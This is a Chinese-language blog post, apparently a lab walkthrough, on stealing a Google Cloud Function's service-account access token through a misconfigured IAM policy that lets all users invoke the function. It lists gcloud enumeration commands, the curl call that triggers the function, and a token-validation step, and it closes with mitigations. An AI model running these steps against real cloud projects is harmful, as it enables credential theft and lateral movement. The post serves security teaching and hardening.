利用配置错误的IAM策略窃取云函数访问令牌[GCP]

利用配置错误的IAM策略窃取云函数访问令牌[GCP]

身份与访问管理(IAM)策略配置错误如何导致Google Cloud中云函数访问令牌暴露和利用

在身份与访问管理(IAM)中,策略是一组规则,通过指定谁可以对哪些资源执行什么操作来定义访问控制。这些策略帮助管理员在环境中有效管理权限。

在Google Cloud Platform(GCP)中,策略通常包含三个主要组件:

  • 成员 - 通常是用户、服务账户和群组
  • 角色/权限 - 定义成员可以对特定资源执行的操作
  • 资源 - 这些策略应用的实际资产,如项目、云函数、存储桶、计算实例等

这些IAM策略中的任何配置错误如果允许意外访问,都可能导致安全风险。

在本博客文章中,我们将探讨一个场景:云函数IAM策略中的配置错误使攻击者能够窃取服务账户的访问令牌。该场景假设我们已经获得了GCP环境的访问权限。

理解云函数

GCP中的云函数类似于AWS Lambda,是由事件驱动操作触发执行的代码块。这些无服务器函数允许开发人员自动化流程,如调整图像大小、将文件上传到存储桶或在数据库记录被修改时发送通知。

我们可以通过不同方式触发云函数 - 直接使用gcloud functions call命令调用它们,使用Google Cloud Console,或向函数的URL发送GET或POST请求。

更新云函数的IAM策略变更

过去,任何被分配了cloudfunctions.admin或cloudfunctions.developer角色的用户或服务账户都能直接对函数进行更改。然而,Google更改了IAM策略,现在只有服务账户可以更新函数。

要更新函数:

  • 服务账户必须具有cloudfunctions.developer角色或cloudfunctions.admin角色
  • 如果用户想要更新函数,他们需要iam.serviceAccountUser角色或iam.serviceAccounts.actAs权限

所需工具

对于此实验,我们需要在测试机器上安装gcloud CLI。

利用步骤

在这个实验场景中,我们使用名为auditor-srv-acc的服务账户获得了立足点。其中一个可访问的函数运行代码,当调用时,会检索绑定到该函数的服务账户的访问令牌,允许我们横向移动到另一个账户。

1. 使用服务账户进行身份验证

首先使用gcloud auth命令进行身份验证,并提供服务账户JSON文件进行认证。

bash 复制代码
gcloud auth activate-service-account --key-file [JSON密钥文件]

2. 枚举IAM策略

访问环境后,我们开始枚举过程,检查分配给项目的IAM策略。

bash 复制代码
gcloud projects get-iam-policy [项目名称]

3. 检查自定义角色的权限

由于自定义角色带有特定的权限集,我们需要检查我们被分配了哪些权限。

bash 复制代码
gcloud iam roles describe toub2726 --project [项目名称]

4. 列出可用函数

接下来,我们检查可访问的资源,如函数。

bash 复制代码
gcloud functions list

5. 查看函数详细信息

获得可用函数列表后,我们可以获取每个函数的更多详细信息。

bash 复制代码
gcloud functions describe [函数名称]

6. 检查每个函数的IAM策略

接下来,我们检查每个可访问函数的IAM策略。

bash 复制代码
gcloud functions get-iam-policy [函数名称]

7. 调用函数

此时,我们可以通过向函数元数据中找到的URL发送GET或POST请求来触发函数。

bash 复制代码
curl -X POST "https://函数URL" -H "Content-Type: application/json" -d '{}'

8. 验证访问令牌

获得访问令牌后,我们可以通过访问以下URL并粘贴访问令牌来验证其有效性。

bash 复制代码
https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=[访问令牌]

缓解策略

  • 重新配置IAM策略,移除allUsers和allAuthenticatedUsers调用函数的权限
  • 通过审查函数代码确保访问令牌永远不会被记录、打印或以任何方式暴露,防止云函数暴露访问令牌
  • 如果需要访问令牌,使用密钥管理器安全地存储和检索它们

如今天的文章所示,资源级别(如云函数)的错误配置IAM策略允许所有用户调用函数。这种错误配置使我们能够运行函数并检索访问令牌,即使我们用于身份验证的服务账户只有具有有限权限的查看者角色。

相关推荐
杜子不疼.40 分钟前
计算机视觉热门模型手册:Spring Boot 3.2 自动装配新机制:@AutoConfiguration 使用指南
人工智能·spring boot·计算机视觉
无心水3 小时前
【分布式利器:腾讯TSF】7、TSF高级部署策略全解析:蓝绿/灰度发布落地+Jenkins CI/CD集成(Java微服务实战)
java·人工智能·分布式·ci/cd·微服务·jenkins·腾讯tsf
北辰alk8 小时前
RAG索引流程详解:如何高效解析文档构建知识库
人工智能
九河云8 小时前
海上风电“AI偏航对风”:把发电量提升2.1%,单台年增30万度
大数据·人工智能·数字化转型
wm10438 小时前
机器学习第二讲 KNN算法
人工智能·算法·机器学习
沈询-阿里8 小时前
Skills vs MCP:竞合关系还是互补?深入解析Function Calling、MCP和Skills的本质差异
人工智能·ai·agent·ai编程
xiaobai1788 小时前
测试工程师入门AI技术 - 前序:跨越焦虑,从优势出发开启学习之旅
人工智能·学习
盛世宏博北京8 小时前
云边协同・跨系统联动:智慧档案馆建设与功能落地
大数据·人工智能
TGITCIC9 小时前
讲透知识图谱Neo4j在构建Agent时到底怎么用(二)
人工智能·知识图谱·neo4j·ai agent·ai智能体·大模型落地·graphrag
逆羽飘扬9 小时前
DeepSeek-mHC深度拆解:流形约束如何驯服狂暴的超连接?
人工智能